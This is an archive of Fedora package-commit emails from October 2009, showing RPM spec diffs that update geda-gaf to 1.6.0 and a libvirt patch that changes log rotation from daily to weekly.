 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -175,6 +175,9 @@ Patch06: libvirt-disable-audio-backend.p
 # Re-label qcow2 backing files (#497131)
 Patch07: libvirt-svirt-relabel-qcow2-backing-files.patch
 
+# Change logrotate config to weekly (#526769)
+Patch08: libvirt-change-logrotate-config-to-weekly.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -394,6 +397,7 @@ of recent versions of Linux (and other O
 %patch05 -p1
 %patch06 -p1
 %patch07 -p1
+%patch08 -p1
 
 %build
 %if ! %{with_xen}
@@ -784,6 +788,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-9
+- Change logrotate config to weekly (#526769)
+
 * Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
 - Disable sound backend, even when selinux is disabled (#524499)
 - Re-label qcow2 backing files (#497131)



From chitlesh at fedoraproject.org  Tue Oct  6 09:44:51 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Tue,  6 Oct 2009 09:44:51 +0000 (UTC)
Subject: rpms/geda-gaf/devel .cvsignore, 1.2, 1.3 geda-gaf.spec, 1.1,
	1.2 import.log, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091006094451.D6D3B11C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/geda-gaf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20115/devel

Modified Files:
	.cvsignore geda-gaf.spec import.log sources 
Log Message:
1.6.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	3 Oct 2009 22:43:34 -0000	1.2
+++ .cvsignore	6 Oct 2009 09:44:51 -0000	1.3
@@ -1 +1 @@
-gEDA-gaf-1.5.4.tar.gz
+geda-gaf-1.6.0.tar.gz


Index: geda-gaf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/devel/geda-gaf.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- geda-gaf.spec	3 Oct 2009 22:43:34 -0000	1.1
+++ geda-gaf.spec	6 Oct 2009 09:44:51 -0000	1.2
@@ -1,21 +1,20 @@
 # As from 1.5, all the submodules of geda-gaf are packaged by upstream into one
-# big tarball having %%{name} as gEDA-gaf. This requires a new fedora package
-# review and obsoleting the old geda-* packages fedora was providing, which 
-# explains the use of Epoch.
+# big tarball. This requires a new fedora package review and obsoleting the old 
+# geda-* packages fedora was providing, which explains the use of Epoch.
 
 # Date : 31 August 2009, Chitlesh Goorah
-%define         snap   20090830
+%define         snap   20091004
 
 Name:           geda-gaf
 Epoch:          1
-Version:        1.5.4
-Release:        2%{?dist}
+Version:        1.6.0
+Release:        1%{?dist}
 Summary:        Design Automation toolkit for electronic design
 
 Group:          Applications/Engineering
 License:        GPLv2
 URL:            http://www.geda.seul.org
-Source0:        http://geda.seul.org/devel/v1.5/%{version}/gEDA-gaf-%{version}.tar.gz
+Source0:        http://geda.seul.org/devel/v1.6/%{version}/%{name}-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils gettext-devel gawk intltool
@@ -82,7 +81,7 @@ Summary:          Documentation and Exam
 Group:            Applications/Engineering
 BuildArch:        noarch
 Requires:         geda-symbols
-Provides:         geda-examples     = %{epoch}:%{version}-%{release}
+Provides:         geda-examples     = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes:        geda-examples     < 20090830-2
 
 %description  -n  geda-docs
@@ -158,7 +157,7 @@ Several utilities for the gEDA project.
 
 
 %prep
-%setup -q -n gEDA-gaf-%{version}
+%setup -q
 
 # Fixing rpmlints wrong-file-end-of-line-encoding
 for f in `find gnetlist/tests -name \*.net -or -name \*.pads | sort` ; do
@@ -211,7 +210,7 @@ desktop-file-install --vendor "" \
 
 
 # locale's
-for i in libgeda37 geda-gattrib geda-gschem ; do
+for i in libgeda38 geda-gattrib geda-gschem ; do
     if [ -d %{buildroot}%{_datadir}/locale/ ]; then
         for lang_dir in %{buildroot}%{_datadir}/locale/* ; do
             lang=$(basename $lang_dir)
@@ -222,24 +221,24 @@ for i in libgeda37 geda-gattrib geda-gsc
     fi
 done
 
-install -d %{buildroot}%{_docdir}/gEDA-gaf/{examples,gnetlist,gsymcheck,utils}
+install -d %{buildroot}%{_docdir}/%{name}/{examples,gnetlist,gsymcheck,utils}
 
 # gschem
-install -pm 644 gschem/examples/*.sch    %{buildroot}%{_docdir}/gEDA-gaf/examples
-install -pm 644 gschem/examples/README.* %{buildroot}%{_docdir}/gEDA-gaf/examples
+install -pm 644 gschem/examples/*.sch    %{buildroot}%{_docdir}/%{name}/examples
+install -pm 644 gschem/examples/README.* %{buildroot}%{_docdir}/%{name}/examples
 
 # gnetlist
-%{__cp} -pr gnetlist/tests %{buildroot}%{_docdir}/gEDA-gaf/gnetlist
-%{__cp} -pr gnetlist/docs/* %{buildroot}%{_docdir}/gEDA-gaf/gnetlist
-%{__cp} -pr gnetlist/examples/* %{buildroot}%{_docdir}/gEDA-gaf/examples
-%{__rm} -f %{buildroot}%{_docdir}/gEDA-gaf/gnetlist/gnetlist.{1,doc}
+%{__cp} -pr gnetlist/tests %{buildroot}%{_docdir}/%{name}/gnetlist
+%{__cp} -pr gnetlist/docs/* %{buildroot}%{_docdir}/%{name}/gnetlist
+%{__cp} -pr gnetlist/examples/* %{buildroot}%{_docdir}/%{name}/examples
+%{__rm} -f %{buildroot}%{_docdir}/%{name}/gnetlist/gnetlist.{1,doc}
 
 # gsymcheck
-%{__cp} -pr gsymcheck/tests/ %{buildroot}%{_docdir}/gEDA-gaf/gsymcheck
+%{__cp} -pr gsymcheck/tests/ %{buildroot}%{_docdir}/%{name}/gsymcheck
 
 # utils
-%{__cp} -pr utils/tests %{buildroot}%{_docdir}/gEDA-gaf/utils
-%{__cp} -pr utils/examples %{buildroot}%{_docdir}/gEDA-gaf/utils
+%{__cp} -pr utils/tests %{buildroot}%{_docdir}/%{name}/utils
+%{__cp} -pr utils/examples %{buildroot}%{_docdir}/%{name}/utils
 
 find %{buildroot}%{_docdir} -name 'Makefile*' -exec rm -f '{}' \;
 
@@ -320,9 +319,9 @@ update-mime-database %{_datadir}/mime &>
 %doc ABOUT-NLS AUTHORS ChangeLog COPYING README NEWS
 
 
-%files -n libgeda -f libgeda37.lang
+%files -n libgeda -f libgeda38.lang
 %defattr(-,root,root,-)
-%doc libgeda/{HACKING,ABOUT-NLS,ChangeLog*,BUGS,TODO}
+%doc libgeda/{HACKING,ChangeLog*,BUGS,TODO}
 %dir %{_datadir}/gEDA/
 %dir %{_datadir}/gEDA/scheme
 %{_libdir}/libgeda.so.*
@@ -351,12 +350,12 @@ update-mime-database %{_datadir}/mime &>
 
 %files -n geda-docs
 %defattr(-,root,root,-)
-%dir %{_docdir}/gEDA-gaf/
-%doc %{_docdir}/gEDA-gaf/man
-%doc %{_docdir}/gEDA-gaf/wiki
-%doc %{_docdir}/gEDA-gaf/examples
-%doc %{_docdir}/gEDA-gaf/gedadocs.html
-%doc %{_docdir}/gEDA-gaf/nc.pdf
+%dir %{_docdir}/%{name}/
+%doc %{_docdir}/%{name}/man
+%doc %{_docdir}/%{name}/wiki
+%doc %{_docdir}/%{name}/examples
+%doc %{_docdir}/%{name}/gedadocs.html
+%doc %{_docdir}/%{name}/nc.pdf
 
 
 %files -n geda-gattrib -f geda-gattrib.lang
@@ -373,7 +372,7 @@ update-mime-database %{_datadir}/mime &>
 %files -n geda-gnetlist
 %defattr(-,root,root,-)
 %doc gnetlist/{BUGS,ChangeLog*,TODO}
-%doc %{_docdir}/gEDA-gaf/gnetlist
+%doc %{_docdir}/%{name}/gnetlist
 %{_bindir}/gnetlist
 %{_bindir}/mk_verilog_syms
 %{_bindir}/sch2eaglepos.sh
@@ -416,7 +415,7 @@ update-mime-database %{_datadir}/mime &>
 %files -n geda-gsymcheck
 %defattr(-,root,root,-)
 %doc gsymcheck/{BUGS,ChangeLog*,TODO}
-%doc %{_docdir}/gEDA-gaf/gsymcheck
+%doc %{_docdir}/%{name}/gsymcheck
 %{_bindir}/gsymcheck
 %{_datadir}/gEDA/system-gsymcheckrc
 %{_mandir}/man1/gsymcheck.*
@@ -425,8 +424,8 @@ update-mime-database %{_datadir}/mime &>
 %files -n geda-utils
 %defattr(-,root,root,-)
 %doc utils/{ChangeLog*,README,AUTHORS}
-%doc %{_docdir}/gEDA-gaf/utils
-%doc %{_docdir}/gEDA-gaf/readmes/
+%doc %{_docdir}/%{name}/utils
+%doc %{_docdir}/%{name}/readmes/
 %{_bindir}/garchive
 %{_bindir}/grenum
 %{_bindir}/gmk_sym
@@ -454,6 +453,9 @@ update-mime-database %{_datadir}/mime &>
 
 
 %changelog
+* Tue Oct  6 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0-1
+- new upstream release
+
 * Thu Sep 24 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-2
 - Fixed most rpmlints and rpath
 - Optimize desktop/icon scriptlets


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	3 Oct 2009 22:43:34 -0000	1.1
+++ import.log	6 Oct 2009 09:44:51 -0000	1.2
@@ -1 +1,2 @@
 geda-gaf-1_5_4-2_fc11:HEAD:geda-gaf-1.5.4-2.fc11.src.rpm:1254609703
+geda-gaf-1_6_0-1_fc11:HEAD:geda-gaf-1.6.0-1.fc11.src.rpm:1254822255


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	3 Oct 2009 22:43:34 -0000	1.2
+++ sources	6 Oct 2009 09:44:51 -0000	1.3
@@ -1 +1 @@
-d99006d25bb7e61cbbdcc6c775861169  gEDA-gaf-1.5.4.tar.gz
+1dacc71407e69d77eaf4c1115f5bcd56  geda-gaf-1.6.0.tar.gz



From markmc at fedoraproject.org  Tue Oct  6 09:45:05 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 09:45:05 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-change-logrotate-config-to-weekly.patch, 
	NONE, 1.1 libvirt.spec, 1.186, 1.187
Message-ID: <20091006094505.5E96111C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20204

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-change-logrotate-config-to-weekly.patch 
Log Message:
* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-9
- Change logrotate config to weekly (#526769)


libvirt-change-logrotate-config-to-weekly.patch:
 libvirtd.logrotate.in |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE libvirt-change-logrotate-config-to-weekly.patch ---
>From bcd4180124afa20580d720912e2179b3a2f9295a Mon Sep 17 00:00:00 2001
From: Daniel Veillard <veillard at redhat.com>
Date: Mon, 5 Oct 2009 17:03:14 +0200
Subject: [PATCH] 526769 change logrotate config default to weekly

* daemon/libvirtd.logrotate.in: change to weekly rotation of logs,
  keep a month worth of data and also extend to cover LXC and UML
  domain logs

(cherry picked from commit 529325bbdd050af89bda5a5c1a01b5553c49a57e)

Fedora-patch: libvirt-change-logrotate-config-to-weekly.patch
---
 qemud/libvirtd.logrotate.in |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/qemud/libvirtd.logrotate.in b/qemud/libvirtd.logrotate.in
index 9b42630..093651c 100644
--- a/qemud/libvirtd.logrotate.in
+++ b/qemud/libvirtd.logrotate.in
@@ -1,7 +1,7 @@
- at localstatedir@/log/libvirt/qemu/*.log {
-        daily
+ at localstatedir@/log/libvirt/qemu/*.log @localstatedir@/log/libvirt/uml/*.log @localstatedir@/log/libvirt/lxc/*.log {
+        weekly
         missingok
-        rotate 7
+        rotate 4
         compress
         delaycompress
         copytruncate
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.186
retrieving revision 1.187
diff -u -p -r1.186 -r1.187
--- libvirt.spec	1 Oct 2009 15:17:31 -0000	1.186
+++ libvirt.spec	6 Oct 2009 09:45:05 -0000	1.187
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 8%{?dist}%{?extra_release}
+Release: 9%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -175,6 +175,9 @@ Patch06: libvirt-disable-audio-backend.p
 # Re-label qcow2 backing files (#497131)
 Patch07: libvirt-svirt-relabel-qcow2-backing-files.patch
 
+# Change logrotate config to weekly (#526769)
+Patch08: libvirt-change-logrotate-config-to-weekly.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -394,6 +397,7 @@ of recent versions of Linux (and other O
 %patch05 -p1
 %patch06 -p1
 %patch07 -p1
+%patch08 -p1
 
 %build
 %if ! %{with_xen}
@@ -784,6 +788,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-9
+- Change logrotate config to weekly (#526769)
+
 * Thu Oct  1 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-8
 - Disable sound backend, even when selinux is disabled (#524499)
 - Re-label qcow2 backing files (#497131)



From chitlesh at fedoraproject.org  Tue Oct  6 09:45:53 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Tue,  6 Oct 2009 09:45:53 +0000 (UTC)
Subject: rpms/geda-gaf/EL-5 geda-gaf.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006094553.3BF9411C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/geda-gaf/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20462/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	geda-gaf.spec import.log 
Log Message:
1.6.0


--- NEW FILE geda-gaf.spec ---
# As from 1.5, all the submodules of geda-gaf are packaged by upstream into one
# big tarball. This requires a new fedora package review and obsoleting the old 
# geda-* packages fedora was providing, which explains the use of Epoch.

# Date : 31 August 2009, Chitlesh Goorah
%define         snap   20091004

Name:           geda-gaf
Epoch:          1
Version:        1.6.0
Release:        1%{?dist}
Summary:        Design Automation toolkit for electronic design

Group:          Applications/Engineering
License:        GPLv2
URL:            http://www.geda.seul.org
Source0:        http://geda.seul.org/devel/v1.6/%{version}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  desktop-file-utils gettext-devel gawk intltool
BuildRequires:  gd-devel libtool-ltdl-devel shared-mime-info

Requires:       geda-docs      = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gattrib   = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gschem    = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gnetlist  = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gsymcheck = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-utils     = %{?epoch:%{epoch}:}%{version}-%{release}


%description
The GPL Electronic Design Automation (gEDA) project has produced and
continues working on a full GPL'd suite and toolkit of Electronic
Design Automation tools. These tools are used for electrical circuit
design, schematic capture, simulation, prototyping, and production.

Currently, the gEDA project offers a mature suite of free software
applications for electronics design, including schematic capture,
attribute management, bill of materials (BOM) generation, netlisting
into over 20 netlist formats, analog and digital simulation, and
printed circuit board (PCB) layout.


%package      -n  libgeda
Summary:          Libraries for the gEDA project
Group:            Development/Libraries
BuildRequires:    gtk2-devel
BuildRequires:    guile-devel
Requires(post):   /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description  -n  libgeda
This package contains libgeda, the library needed by gEDA applications.


%package      -n  libgeda-devel
Summary:          Development files for the libgeda library
Group:            Development/Libraries
Requires:         libgeda          = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         gtk2-devel
Requires:         guile-devel
Requires:         pkgconfig

%description  -n  libgeda-devel
Development files for libgeda library


%package      -n  geda-symbols
Summary:          Electronic symbols for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
BuildRequires:    transfig

%description  -n  geda-symbols
This package contains a bunch of symbols of electronic devices
used by gschem, the gEDA project schematic editor.


%package      -n  geda-docs
Summary:          Documentation and Examples for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
Requires:         geda-symbols
Provides:         geda-examples     = %{?epoch:%{epoch}:}%{version}-%{release}
Obsoletes:        geda-examples     < 20090830-2

%description  -n  geda-docs
This package contains documentation and examples for the gEDA project.


%package      -n  geda-gattrib
Summary:          Attribute editor for gEDA
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gattrib
Gattrib is gEDA's attribute editor. It reads a set of gschem .sch files
(schematic files), and creates a spreadsheet showing all components in
rows, with the associated component attributes listed in the columns.
It allows the user to add, modify, or delete component attributes outside
of gschem, and then save the .sch files back out. When it is completed,
it will allow the user to edit attributes attached to components, nets,
and pins. (Currently, only component attribute editing is implemented;
pin attributes are displayed only, and net attributes are TBD.)


%package      -n  geda-gnetlist
Summary:          Netlister for the gEDA project
Group:            Applications/Engineering
BuildRequires:    libstroke-devel
Requires:         geda-symbols

%description  -n  geda-gnetlist
Gnetlist generates netlists from schematics drawn with gschem
(the gEDA schematic editor). Possible output formats are:
- native
- tango
- spice
- allegro
- PCB
- verilog
and others.


%package      -n  geda-gschem
Summary:          Electronics schematics editor
Group:            Applications/Engineering
Requires(pre):    libgeda = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         geda-symbols
Requires:         geda-docs

%description  -n  geda-gschem
Gschem is an electronics schematic editor. It is part of the gEDA project.


%package      -n  geda-gsymcheck
Summary:          Symbol checker for electronics schematics editor
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gsymcheck
Gsymcheck is a utility to check symbols for gschem.
It is part of the gEDA project.


%package      -n  geda-utils
Summary:          Several utilities for the gEDA project
Group:            Applications/Engineering
Requires:         geda-symbols
%if 0%{?fedora} > 6
BuildRequires:    perl-libs
%endif


%description  -n  geda-utils
Several utilities for the gEDA project.


%prep
%setup -q

# Fixing rpmlints wrong-file-end-of-line-encoding
for f in `find gnetlist/tests -name \*.net -or -name \*.pads | sort` ; do
   echo -n -e "... Fixing the end-of-line encodings of $f  \t"
   sed -i.bak -e 's|\r||g' $f
   touch -r $f.bak $f
   %{__rm} -f $f.bak
   echo "done"
done

# rpmlint zero-length
%{__rm} -f utils/tests/gxyrs/outputs/*-error
%{__rm} -f gnetlist/tests/common/outputs/drc/multiequal-output.net
%{__rm} -f gnetlist/tests/common/outputs/futurenet2/SlottedOpamps-output.net
%{__rm} -f gnetlist/tests/common/outputs/switcap/SlottedOpamps-output.net

# rpmlint UTF-8
for f in symbols/{AUTHORS,ChangeLog-1.0} gschem/ChangeLog; do
   iconv -f ISO-8859-1 -t UTF-8 $f > $f.tmp && \
      ( touch -r $f $f.tmp ; %{__mv} -f $f.tmp $f ) || \
      %{__rm} -f $f.tmp
done

# Fixing rpaths
%if "%{_libdir}" != "/usr/lib"
sed -i -e 's|"/lib /usr/lib|"/%{_lib} %{_libdir}|' configure
%endif

%build

%configure  --disable-static
%{__make} %{?_smp_mflags}


%install
%{__rm} -rf %{buildroot}
%{__make} INSTALL="%{_bindir}/install -p" install DESTDIR=%{buildroot}


desktop-file-install --vendor "" \
    --dir %{buildroot}%{_datadir}/applications \
    --delete-original                          \
    %{buildroot}%{_datadir}/applications/geda-gschem.desktop \
    %{buildroot}%{_datadir}/applications/geda-gattrib.desktop 


%{__rm} -f %{buildroot}%{_libdir}/*.la
%{__rm} -f %{buildroot}%{_datadir}/applications/mimeinfo.cache
%{__rm} -f %{buildroot}%{_datadir}/mime/{XMLnamespaces,aliases,generic-icons,globs,globs2,icons,magic,mime.cache,subclasses,treemagic,types}


# locale's
for i in libgeda38 geda-gattrib geda-gschem ; do
    if [ -d %{buildroot}%{_datadir}/locale/ ]; then
        for lang_dir in %{buildroot}%{_datadir}/locale/* ; do
            lang=$(basename $lang_dir)
            if [ -e %{buildroot}%{_datadir}/locale/$lang/LC_MESSAGES/$i.mo ] ; then
                echo "%lang($lang) %{_datadir}/locale/$lang/LC_MESSAGES/$i.mo" >> $i.lang
            fi
        done
    fi
done

install -d %{buildroot}%{_docdir}/%{name}/{examples,gnetlist,gsymcheck,utils}

# gschem
install -pm 644 gschem/examples/*.sch    %{buildroot}%{_docdir}/%{name}/examples
install -pm 644 gschem/examples/README.* %{buildroot}%{_docdir}/%{name}/examples

# gnetlist
%{__cp} -pr gnetlist/tests %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/docs/* %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/examples/* %{buildroot}%{_docdir}/%{name}/examples
%{__rm} -f %{buildroot}%{_docdir}/%{name}/gnetlist/gnetlist.{1,doc}

# gsymcheck
%{__cp} -pr gsymcheck/tests/ %{buildroot}%{_docdir}/%{name}/gsymcheck

# utils
%{__cp} -pr utils/tests %{buildroot}%{_docdir}/%{name}/utils
%{__cp} -pr utils/examples %{buildroot}%{_docdir}/%{name}/utils

find %{buildroot}%{_docdir} -name 'Makefile*' -exec rm -f '{}' \;


%post -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gschem
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-gschem
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
    update-mime-database %{_datadir}/mime &> /dev/null || :
fi

%posttrans -n geda-gschem
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gattrib
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-gattrib
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-gattrib
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n geda-utils
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-utils
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-utils
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n libgeda
update-mime-database %{_datadir}/mime &> /dev/null || :


%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ABOUT-NLS AUTHORS ChangeLog COPYING README NEWS


%files -n libgeda -f libgeda38.lang
%defattr(-,root,root,-)
%doc libgeda/{HACKING,ChangeLog*,BUGS,TODO}
%dir %{_datadir}/gEDA/
%dir %{_datadir}/gEDA/scheme
%{_libdir}/libgeda.so.*
%{_datadir}/gEDA/prolog.ps
%{_datadir}/gEDA/scheme/geda.scm
%{_datadir}/gEDA/system-gafrc
%{_datadir}/mime/packages/libgeda.xml


%files -n libgeda-devel
%defattr(-,root,root,-)
%{_includedir}/libgeda/
%{_libdir}/libgeda.so
%{_libdir}/pkgconfig/libgeda.pc


%files -n geda-symbols
%defattr(-,root,root,-)
%doc symbols/{AUTHORS,ChangeLog*,README,TODO}
%{_datadir}/gEDA/sym/
%dir %{_datadir}/gEDA/gafrc.d/
%{_datadir}/gEDA/gafrc.d/geda-clib.scm
%{_datadir}/mime/application/x-geda-symbol.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-symbol.*


%files -n geda-docs
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}/
%doc %{_docdir}/%{name}/man
%doc %{_docdir}/%{name}/wiki
%doc %{_docdir}/%{name}/examples
%doc %{_docdir}/%{name}/gedadocs.html
%doc %{_docdir}/%{name}/nc.pdf


%files -n geda-gattrib -f geda-gattrib.lang
%defattr(-,root,root,-)
%doc gattrib/design/{gEDA_Structures_updated.png,ProgramArchitecture.gnumeric}
%doc gattrib/{BUGS,ChangeLog*,NOTES,README,ToDos}
%{_bindir}/gattrib
%{_datadir}/gEDA/system-gattribrc
%{_datadir}/gEDA/gattrib-menus.xml
%{_datadir}/applications/geda-gattrib.desktop
%{_datadir}/icons/hicolor/*/apps/geda-gattrib.*


%files -n geda-gnetlist
%defattr(-,root,root,-)
%doc gnetlist/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gnetlist
%{_bindir}/gnetlist
%{_bindir}/mk_verilog_syms
%{_bindir}/sch2eaglepos.sh
%{_bindir}/sw2asc
%{_datadir}/gEDA/scheme/gnet*.scm
%{_datadir}/gEDA/system-gnetlistrc
%{_mandir}/man1/gnetlist.*


%files -n geda-gschem -f geda-gschem.lang
%defattr(-,root,root,-)
%doc gschem/{BUGS,ChangeLog*,TODO}
%{_bindir}/gschem
%{_bindir}/gschemdoc
%{_datadir}/gEDA/scheme/auto-place-attribs.scm
%{_datadir}/gEDA/scheme/default-attrib-positions.scm
%{_datadir}/gEDA/scheme/image.scm
%{_datadir}/gEDA/scheme/pcb.scm
%{_datadir}/gEDA/scheme/print.scm
%{_datadir}/gEDA/scheme/auto-uref.scm
%{_datadir}/gEDA/scheme/generate_netlist.scm
%{_datadir}/gEDA/scheme/gschem.scm
%{_datadir}/gEDA/scheme/list-keys.scm
%{_datadir}/gEDA/scheme/print-NB-attribs.scm
%{_datadir}/gEDA/bitmap/gschem-*
%{_datadir}/gEDA/system-gschemrc
%{_datadir}/gEDA/gschem-gtkrc
%{_datadir}/gEDA/gschem-colormap-darkbg
%{_datadir}/gEDA/gschem-colormap-lightbg
%{_datadir}/gEDA/print-colormap-darkbg
%{_datadir}/gEDA/print-colormap-lightbg
%{_datadir}/gEDA/scheme/color-map.scm
%{_datadir}/mime/application/x-geda-schematic.xml
%{_datadir}/applications/geda-gschem.desktop
%{_mandir}/man1/gschem.*
%{_datadir}/icons/hicolor/*/apps/geda-gschem.*
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-schematic.*


%files -n geda-gsymcheck
%defattr(-,root,root,-)
%doc gsymcheck/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gsymcheck
%{_bindir}/gsymcheck
%{_datadir}/gEDA/system-gsymcheckrc
%{_mandir}/man1/gsymcheck.*


%files -n geda-utils
%defattr(-,root,root,-)
%doc utils/{ChangeLog*,README,AUTHORS}
%doc %{_docdir}/%{name}/utils
%doc %{_docdir}/%{name}/readmes/
%{_bindir}/garchive
%{_bindir}/grenum
%{_bindir}/gmk_sym
%{_bindir}/smash_megafile
%{_bindir}/convert_sym
%{_bindir}/sarlacc_schem
%{_bindir}/sarlacc_sym
%{_bindir}/gschupdate
%{_bindir}/gsymfix.pl
%{_bindir}/pcb_backannotate
%{_bindir}/gschlas
%{_bindir}/olib
%{_bindir}/refdes_renum
%{_bindir}/gsch2pcb
%{_bindir}/pads_backannotate
%{_bindir}/tragesym
%{_bindir}/gsymupdate
%{_bindir}/gxyrs
%{_bindir}/gnet_hier_verilog.sh
%{_datadir}/gEDA/system-gschlasrc
%{_mandir}/man1/grenum.1.gz
%{_datadir}/gEDA/perl/lib/gxyrs.pm
%{_datadir}/mime/application/x-geda-gsch2pcb-project.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-gsch2pcb-project.*


%changelog
* Tue Oct  6 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0-1
- new upstream release

* Thu Sep 24 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-2
- Fixed most rpmlints and rpath
- Optimize desktop/icon scriptlets

* Mon Aug 31 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-1
- new development snapshot

* Sun Dec 21 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20081220-1
- new upstream release

* Tue Nov 11 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080929-1
- New upstream release

